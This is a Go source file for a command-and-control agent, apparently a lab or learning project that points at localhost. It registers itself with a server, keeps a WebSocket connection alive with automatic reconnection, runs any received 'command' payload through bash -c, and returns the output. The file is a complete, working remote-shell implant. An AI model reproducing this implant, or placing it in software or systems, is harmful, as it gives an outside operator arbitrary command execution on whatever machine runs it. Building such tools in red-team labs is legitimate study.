package main

import (
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"net/url"
	"os/exec"
	"time"
	"math/rand"
	"math"
	"strconv"

	"github.com/gorilla/websocket"
)

const(
	webServerAddr 	= "127.0.0.1:3333"
	webSocketAddr   = "127.0.0.1:5555"
	registerURL = "http://" + webServerAddr + "/agents"
	// wsURL 		= "ws://" + webSocketAddr + "/data"
)

type Agent struct {
	AgentName 		string `json:"agentName"`
	AgentID         string `json:"agentId"`
	AgentType       string `json:"agentType"`
	AgentIP         string `json:"agentIp"`
	InitialContact 	string `json:"initialContact"`
	LastContact     string `json:"lastContact"`
}

type Message struct {
	Type 	string `json:"type"`
	Payload string `json:"payload"`
}

var conn *websocket.Conn

func registerAgent(agentName, agentId, agentIp, agentType string) error {

	form := url.Values{}
	form.Add("agentId", agentId)
	form.Add("agentName", agentName)
	form.Add("agentType", agentType)
	form.Add("IPv4Address", agentIp)

	resp, err := http.PostForm(registerURL, form)
	if err != nil {
		return fmt.Errorf("Error registering agent: %v", err)
	}
	defer resp.Body.Close()

	if resp.StatusCode != http.StatusCreated {
		return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
	}

	log.Printf("Agent %s successfully registered.", agentName)
	return nil
}


func connectToWebSocket(agentName, agentIp string) error {
	wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&IPv4Address=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentIp))
	var err error
	for {
		conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
		if err == nil {
			log.Println("WeSocket connection established")
			return nil
		}

		log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
		time.Sleep(5 * time.Second)
	}
}

func reconnectToWebSocket(agentName, agentIp string) error {
	backoff := 2 * time.Second
	maxBackoff := 1 * time.Minute

	for {
		log.Println("Attempting to reconnect to WebSocket...")
		err := connectToWebSocket(agentName, agentIp)
		if err == nil {
			log.Println("Reconnection succesful.")
			return nil
		}

		log.Printf("Reconnection failed: %v", err)

		time.Sleep(backoff)
		backoff *= 2
		if backoff > maxBackoff {
			backoff = maxBackoff
		}
	}
}

func listenForCommands(agentName, agentIp string) {
	defer conn.Close()

	for {
		_, rawMessage, err := conn.ReadMessage()
		if err != nil {
			log.Printf("Connection lost: %v", err)
			if reconnectErr := reconnectToWebSocket(agentName, agentIp); reconnectErr != nil {
				log.Printf("Critical error during reconnection: %v", reconnectErr)
				}
			continue
		}

		var message Message
		if err := json.Unmarshal(rawMessage, &message); err != nil {
			log.Printf("Error unmarshalling message: %v", err)
			continue
		}

		if message.Type != "command" {
			log.Printf("Ignoring non-command message: %v", message)
			continue
		}

		command := message.Payload
		log.Printf("Received command: %s", command)

		cmd := exec.Command("bash", "-c", command)
		output, err := cmd.CombinedOutput()

		response := Message{
			Type: "response",
			Payload: string(output),
		}

		if err != nil {
			response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
		}

		responseBytes, _ := json.Marshal(response)
		if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
			log.Printf("Error sending output: %v", err)
			break
		}

		log.Printf("Output sent to server.")
	}
}

func randomInt(length int) int {
    rand.Seed(time.Now().UnixNano())
	min := int(math.Pow10(length-1))
	max := int(math.Pow10(length)) -1
	return rand.Intn(max-min+1) + min

}

func main() {
	agentName := "Agent-001"
	agentId := strconv.Itoa(randomInt(5))
	agentIp := "127.0.0.1"
	agentType := "BaseAgent"

	if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
		log.Fatalf("Agent registration failed: %v", err)
	}

	if err := connectToWebSocket(agentName, agentIp); err != nil {
		log.Fatalf("Websocket connection failed: %v", err)
	}

	listenForCommands(agentName, agentIp)
}